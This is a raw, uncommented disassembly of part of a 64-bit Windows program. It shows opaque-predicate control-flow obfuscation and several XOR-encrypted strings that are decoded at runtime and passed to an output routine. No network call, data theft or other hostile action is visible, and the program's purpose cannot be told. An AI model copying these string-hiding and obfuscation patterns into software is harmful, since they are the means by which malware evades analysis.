mov eax, dword [0x141dc0390]
or eax, dword [0x141dc0394]
add eax, 0xf7931c94
xor eax, 0x33c6dba5
add eax, 0xd9ea10e4
cmp eax, 0xed9ae857
mov rdi, qword [rsp + 0xf0]
mov r13, qword [rsp + 0x118]
jbe 0x140023d79
mov edx, 9
mov rcx, r12
mov r8, rdi
mov r9, r13
call fcn.140011c90
mov edx, 9
mov rcx, r12
mov r8, rdi
mov r9, r13
call fcn.140011c90
test al, al
lea r14, [0x141da4b65]
jne 0x1400240fe
nop dword [rax + rax]
mov eax, dword [0x141dc0398]
xor edx, edx
div dword [0x141dc039c]
imul eax, eax, 0xbc3e1af8
add eax, 0xd9766db0
cmp eax, 0x8984b36b
jb 0x140023da0
lea rax, [0x141dadfe9]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0xf2dc53b0543d5116
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.140018df0
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
mov edx, eax
shr edx, 8
xor al, 0xc2
xor dl, 0xa3
xor cl, 0x66
movzx ecx, cl
mov byte [rsp + 0x72], cl
shl ecx, 0x10
movzx edx, dl
shl edx, 8
or edx, ecx
movzx eax, al
or eax, edx
mov word [rsp + 0x70], ax
mov edx, 3
mov rcx, r12
mov r8, rdi
mov r9, r13
call fcn.140011c90
test al, al
jne 0x1400240fe
mov eax, dword [0x141dc03a0]
sub eax, dword [0x141dc03a4]
mov ecx, 0xb67aae0d
imul rax, rcx
shr rax, 0x3d
and eax, 2
or eax, 0x4589a601
cmp eax, 0x100832ac
jae 0x140023e69
lea rax, [0x141daf938]
mov qword [rsp + 0x70], rax
lea rax, [0x141daf938]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x8bde41c19954652a
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.140019b70
mov ecx, dword [rax]
mov edx, 0xae541bf8
xor rcx, rdx
movzx eax, byte [rax + 4]
xor al, 0xcd
mov byte [rsp + 0x74], al
mov dword [rsp + 0x70], ecx
mov edx, 5
mov rcx, r12
mov r8, rdi
mov r9, r13
call fcn.140011c90
test al, al
jne 0x1400240fe
nop word cs:[rax + rax]
mov eax, dword [0x141dc0348]
add eax, dword [0x141dc034c]
or eax, 0x36baab83
imul r13, rax, 0x11d7dc0d
shr r13, 0x3b
or r13d, 0xadc8bb8
mov rcx, rbx
call fcn.14000d5a0
cmp r13d, 0x64b57a12
ja 0x140023ed0
nop word cs:[rax + rax]
mov eax, dword [0x141dc0350]
or eax, dword [0x141dc0354]
imul rax, r15
shr rax, 0x3f
add eax, 0xb37d953
cmp eax, 0x7434d1af
ja 0x140023f10
mov r8, qword [rsp + 0x38]
nop word cs:[rax + rax]
mov eax, dword [0x141dc0358]
and eax, dword [0x141dc035c]
xor eax, 0x19204013
and eax, 0xb9a0d1b3
xor eax, 0xc18c4d75
cmp eax, 0x88eb1a7
jb 0x140023f40
add r8, 0xffffffffffffffd0
add rbp, 0x30
mov rax, rsi
cmp rsi, qword [rsp + 0x100]
jne 0x1400238a0
jmp 0x140023fc1
mov r8, qword [rsp + 0x100]
mov rax, r8
sub rax, rsi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r8, rsi
je 0x140023fc1
mov rdi, rdx
shr rdi, 5
nop word cs:[rax + rax]
mov rcx, rsi
call fcn.14000d5a0
add rsi, 0x30
dec rdi
jne 0x140023fb0
xor esi, esi
mov eax, 0
cmp qword [rsp + 0x230], 0
mov rdi, qword [rsp + 0x218]
mov rbx, qword [rsp + 0x238]
je 0x140023ffc
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
mov dword [rsp + 0x38], eax
mov ebp, 0x9a7ecbe7
lea r14, [rbp + 0x45813419]
mov edx, 0xb0317131
movzx eax, byte [rsp + 0x6f]
or al, byte [rsp + 0x110]
or al, byte [rsp + 0xf8]
mov rsi, qword [rsp + 0x220]
mov r15, qword [rsp + 0x250]
mov r13, qword [rsp + 0x248]
nop dword [rax]
cmp rbx, rbp
seta cl
cmp r13, r14
setb r9b
cmp r15, 2
setb r8b
cmp rdi, rsi
setne r10b
mov r11d, dword [0x141dc03a8]
add r11d, dword [0x141dc03ac]
imul r11, rdx
shr r11, 0x3f
or r11d, 0x85351d30
imul r11d, r11d, 0x7610fc5d
cmp r11d, 0x4fbb8bf1
je 0x140024040
or al, r10b
or r8b, r9b
or r8b, al
or cl, byte [rsp + 0x38]
or cl, r8b
test cl, 1
jne 0x140024199
mov rcx, qword [rsp + 0x268]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rsp + 0x288], 0
je 0x1400240d2
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141dc03d0]
xor eax, dword [0x141dc03d4]
or eax, 0x800881b6
and eax, 0x820cb7ff
imul eax, eax, 0x8e12bad9
cmp eax, 0x1495ae00
jb 0x140024389
jmp 0x140024355
lea rcx, [rsp + 0x120]
call fcn.14000d5a0
cmp qword [rsp + 0x100], rsi
je 0x140024141
movabs rcx, 0xaaaaaaaaaaaaaaab
mov rax, qword [rsp + 0x38]
mul rcx
mov rsi, rdx
shr rsi, 5
nop
mov rcx, rbp
call fcn.14000d5a0
add rbp, 0x30
dec rsi
jne 0x140024130
mov sil, 1
mov al, 1
cmp qword [rsp + 0x230], 0
mov rdi, qword [rsp + 0x218]
mov rbx, qword [rsp + 0x238]
jne 0x140023fe3
jmp 0x140023ffc
ud2
mov eax, dword [0x141dc03b0]
and eax, dword [0x141dc03b4]
movabs rsi, 0x158442ca7c9fe75
shr eax, 1
mov ecx, 0x85b33357
imul rcx, rax
shr rcx, 0x3e
xor ecx, 0x2204de9b
add ecx, 0xcd2b2a70
cmp ecx, 0xc8706e1f
jae 0x140024210
lea rax, [0x141db1af5]
mov qword [rsp + 0x1f0], rax
lea rax, [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1f0]
mov qword [rsp + 0x1f0], rsi
mov rdx, qword [rsp + 0x1f0]
call fcn.14001b9f0
mov rcx, qword [rax]
mov ecx, dword [rax + 8]
movzx eax, word [rax + 0xc]
lea rdi, [0x141db1af5]
movabs r15, 0x99561957e81fa1a2
mov ebp, 0x15e65949
lea rbx, [rsp + 0x1f0]
nop
mov eax, dword [0x141dc03b8]
xor eax, dword [0x141dc03bc]
imul r13d, eax, 0x73ef7c34
and r13d, 0x2cbec568
xor r13d, 0x256977fb
mov qword [rsp + 0x1f0], rdi
mov rcx, qword [rsp + 0x1f0]
mov qword [rsp + 0x1f0], rsi
mov rdx, qword [rsp + 0x1f0]
call fcn.14001b9f0
mov rcx, qword [rax]
xor rcx, r15
mov edx, dword [rax + 8]
xor edx, ebp
movzx eax, word [rax + 0xc]
cmp r13d, 0xb043e9b4
ja 0x140024230
mov r8d, eax
xor r8b, 0xee
shr eax, 8
xor al, 0xd3
mov qword [rsp + 0xd0], rcx
mov dword [rsp + 0xd8], edx
mov byte [rsp + 0xdc], r8b
mov byte [rsp + 0xdd], al
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0xe
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [0x14000d490]
mov qword [rsp + 0x48], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
mov eax, dword [0x141dc03c0]
xor edx, edx
div dword [0x141dc03c4]
mov ecx, 0xb88b1ccb
imul rcx, rax
shr rcx, 0x3f
imul eax, ecx, 0x79b0f464
cmp eax, 0xc00f20d1
ja 0x140024428
jmp 0x1400243ef
mov eax, dword [0x141dc03d8]
imul eax, dword [0x141dc03dc]
imul esi, eax, 0x2d58e8e7
and esi, 0x3ebc27ac
add esi, 0x8ee7950e
lea rcx, [rsp + 0x290]
call fcn.14000fa20
cmp esi, 0x774a49f2
jae 0x1400243a0
lea rcx, [rsp + 0x290]
call fcn.14000fa20
jmp 0x140024355
mov eax, dword [0x141dc03e0]
sub eax, dword [0x141dc03e4]
add eax, 0xe6287ef0
xor eax, 0xb1c8ac4a
add eax, 0xa9ec9c3f
cmp eax, 0xb74079c4
jb 0x1400243a0
movaps xmm6, xmmword [rsp + 0x360]
movaps xmm7, xmmword [rsp + 0x370]
movaps xmm8, xmmword [rsp + 0x380]
add rsp, 0x398
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [0x141dc03c8]
and eax, dword [0x141dc03cc]
add eax, 0xa183bdc
mov edi, 0xa1f8f781
imul rdi, rax
shr rdi, 0x3f
xor edi, 0x4895a801
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
cmp edi, 0x7c9d79c8
jbe 0x140024437
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
jmp 0x1400243ef
cmp byte [rsp + 0x6f], 0
je 0x1400245bd
lea rax, [0x141daaa7c]
mov qword [rsp + 0x1f0], rax
lea rdx, [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1f0]
movabs rax, 0xaa5cede4eac69886
mov qword [rsp + 0x1f0], rax
mov rdx, qword [rsp + 0x1f0]
call fcn.1400193e0
movabs rcx, 0x280ef37b3eb2a513
xor rcx, qword [rax]
movabs rdx, 0x694390f73a5ce12b
xor rdx, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0x79
shr eax, 8
xor al, 0xd6
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov byte [rsp + 0x80], r8b
mov byte [rsp + 0x81], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x12
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
mov eax, dword [0x141dc03e8]
and eax, dword [0x141dc03ec]
or eax, 0xc1da83a
xor eax, 0x20bb1604
add eax, 0x824d45a8
cmp eax, 0x247362e9
jae 0x140024565
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
lea rdi, [rsp + 0x120]
lea rsi, [rsp + 0xd0]
nop word cs:[rax + rax]
mov eax, dword [0x141dc03f0]
sub eax, dword [0x141dc03f4]
or eax, 0xdafc102d
imul r15d, eax, 0x34ee15f0
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x138], 1
mov rcx, rdi
call fcn.14009e1e0
cmp r15d, 0xc5893c10
ja 0x140024580
cmp byte [rsp + 0x110], 0
je 0x1400247f4
movabs rax, 0x45d5e0844ca84515
lea rcx, [0x141da907d]
lea r8, [rsp + 0x1f0]
nop word cs:[rax + rax]
mov edx, dword [0x141dc03f8]
or edx, dword [0x141dc03fc]
xor edx, 0x20801004
or edx, 0x977feef1
add edx, 0x291866fb
mov qword [rsp + 0x1f0], rcx
mov rdi, qword [rsp + 0x1f0]
mov qword [rsp + 0x1f0], rax
cmp edx, 0x6496eaf1
jbe 0x140024640
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f0], rax
jmp 0x1400245f0
movabs r15, 0x7e6557afedf42a14
mov eax, dword [0x141dc0400]
add eax, dword [0x141dc0404]
imul eax, eax, 0x7c856772
or eax, 0xf1b32121
imul eax, eax, 0x5c12bac0
cmp eax, 0xde0dfc10
jbe 0x140024720
lea rax, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1f0]
mov rcx, rdi
call fcn.140019a30
mov rcx, qword [rax]
mov edx, 0x468b6107
xor edx, dword [rax + 8]
xor rcx, r15
mov qword [rsp + 0xd0], rcx
mov dword [rsp + 0xd8], edx
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0xc
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [0x14000d490]
mov qword [rsp + 0x48], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
lea rax, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1f0]
mov rcx, rdi
call fcn.140019a30
xor r15, qword [rax]
mov ecx, 0x468b6107
xor ecx, dword [rax + 8]
mov qword [rsp + 0xd0], r15
mov dword [rsp + 0xd8], ecx
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0xc
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [0x14000d490]
mov qword [rsp + 0x48], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
nop dword [rax + rax]
mov eax, dword [0x141dc0408]
xor eax, dword [0x141dc040c]
imul eax, eax, 0x476caa6e
xor eax, 0xf1dc29c5
imul eax, eax, 0x6c6f4dd5
cmp eax, 0xacaa286b
ja 0x1400247d0
cmp byte [rsp + 0xf8], 0
je 0x140024940
lea rax, [0x141da2d30]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0x16224bfe39db3edf
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140019fc0
movabs rdx, 0x5cba4b555f1839e7
xor rdx, qword [rax]
movabs rcx, 0x94e2ffdaafccd61d
xor rcx, qword [rax + 8]
movzx r8d, word [rax + 0x10]
mov r9d, r8d
xor r9b, 0x96
shr r8d, 8
xor r8b, 0x90
mov qword [rsp + 0x70], rdx
nop word cs:[rax + rax]
mov eax, dword [0x141dc0418]
xor edx, edx
div dword [0x141dc041c]
xor eax, 0x809000e5
or eax, 0x7f2fbc12
xor eax, 0x46d662b3
mov qword [rsp + 0x78], rcx
mov byte [rsp + 0x80], r9b
cmp eax, 0x9d3c4281
jb 0x140024880
mov byte [rsp + 0x81], r8b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x12
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
nop dword [rax + rax]
mov eax, dword [0x141dc0410]
xor edx, edx
div dword [0x141dc0414]
cmp eax, 0x14ccf324
je 0x140024940
mov rax, qword [rsp + 0x218]
cmp rax, qword [rsp + 0x220]
je 0x140024eef
lea rax, [0x141da70c6]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0x78a7b1fd10df7ef5
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.14001a5e0
movabs rcx, 0x7a8a364f509b92ce
xor rcx, qword [rax]
movabs rdx, 0x7d610ec9b43ac5ae
xor rdx, qword [rax + 8]
mov r8d, 0xcbb81235
xor r8d, dword [rax + 0x10]
movzx r9d, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
mov r10d, eax
shr r10d, 8
xor al, 0x8a
xor r10b, 0xf
xor r9b, 0x24
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov dword [rsp + 0x80], r8d
mov byte [rsp + 0x84], al
mov byte [rsp + 0x85], r10b
mov byte [rsp + 0x86], r9b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x17
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
cmp qword [rsp + 0x250], 2
jb 0x140024efe
cmp qword [rsp + 0x248], r14
jae 0x140024ba5
lea rax, [0x141dadfb9]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0xa655d8b76757804c
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140019810
movabs rcx, 0xbaa88a0149ed1b61
xor rcx, qword [rax]
movabs rdx, 0xed6afd5bd6f70155
xor rdx, qword [rax + 8]
movabs r8, 0x90da0052eaf9435b
xor r8, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x18
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
mov ecx, 0x9b2e4471
nop word [rax + rax]
mov eax, dword [str.:J:]
xor edx, edx
div dword [0x141dc042c]
xor eax, 0x444dffcc
imul rax, rcx
shr rax, 0x3f
or eax, 0x69c9496c
cmp eax, 0xdd48576c
ja 0x140024bb0
mov eax, 0x9a7ecbe7
cmp qword [rsp + 0x238], rax
jbe 0x140024de7
lea rax, [0x141da8f27]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0x8e0e08467d75ed49
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140019380
movabs rcx, 0xc4ff6f6eff122752
xor rcx, qword [rax]
movabs rdx, 0xc70aa4750b45c707
xor rdx, qword [rax + 8]
mov r14d, 0xe30dfb57
xor r14d, dword [rax + 0x10]
movzx r13d, word [rax + 0x14]
mov r15d, r13d
xor r15b, 0xe4
shr r13d, 8
xor r13b, 0x99
mov qword [rsp + 0x70], rcx
mov eax, dword [0x141dc0430]
and eax, dword [0x141dc0434]
mov qword [rsp + 0x78], rdx
add eax, 0x9b6a22f9
and eax, 0x94108340
cmp eax, 0x40e0a5cb
jae 0x140024d23
mov dword [rsp + 0x80], r14d
mov byte [rsp + 0x84], r15b
mov byte [rsp + 0x85], r13b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x16
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
lea rsi, [rsp + 0xd0]
lea rbx, [rsp + 0x40]
lea rdi, [0x1400ffeb0]
lea r12, [rsp + 0x70]
nop dword [rax]
mov eax, dword [0x141dc0438]
xor eax, dword [0x141dc043c]
xor eax, 0x7c3690cc
imul ebp, eax, 0xe90d581e
add ebp, 0xaa3234a8
mov dword [rsp + 0x80], r14d
mov byte [rsp + 0x84], r15b
mov byte [rsp + 0x85], r13b
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0x16
mov qword [rsp + 0xd0], rbx
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
cmp ebp, 0xa11d5dde
ja 0x140024d40
cmp byte [rsp + 0x38], 0
je 0x14002504d
lea rax, [0x141dad79c]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0x21033e8dea3b2050
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140018760
movabs rcx, 0xcd06ca291c25fab0
xor rcx, qword [rax]
movabs rdx, 0x63c4f1e79c3fe108
xor rdx, qword [rax + 8]
movabs r8, 0x9c282d0642f58c7b
xor r8, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x18
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
call fcn.1400becc0
cmp qword [rsp + 0x250], 2
jae 0x140024a9f
lea rax, [0x141da2d4c]
lea rdx, [rsp + 0x120]
nop dword [rax]
mov ecx, dword [0x141dc0420]
or ecx, dword [0x141dc0424]
xor ecx, 0x228b4404
or ecx, 0xcd3499f3
xor ecx, 0xa3ece240
mov qword [rsp + 0x120], rax
cmp ecx, 0x6a195a3f
jb 0x140024f10
mov rcx, qword [rsp + 0x120]
movabs rax, 0x42f31c08d23ab475
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.14001b5e0
movabs rcx, 0x4659c47d753c0512
xor rcx, qword [rax]
movabs rdx, 0x67d8f0e5a41d39d6
xor rdx, qword [rax + 8]
movzx r8d, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
mov r9d, eax
shr r9d, 8
xor al, 0xe7
xor r9b, 0xec
xor r8b, 0x49
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov byte [rsp + 0x80], al
mov byte [rsp + 0x81], r9b
mov byte [rsp + 0x82], r8b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x13
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14000d490]
mov qword [rsp + 0xd8], rax
lea rax, [0x1400ffeb0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x140], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 1
lea rcx, [rsp + 0x120]
call fcn.14009e1e0
cmp qword [rsp + 0x248], r14
jb 0x140024aad
jmp 0x140024ba5
call fcn.1400becc0
int3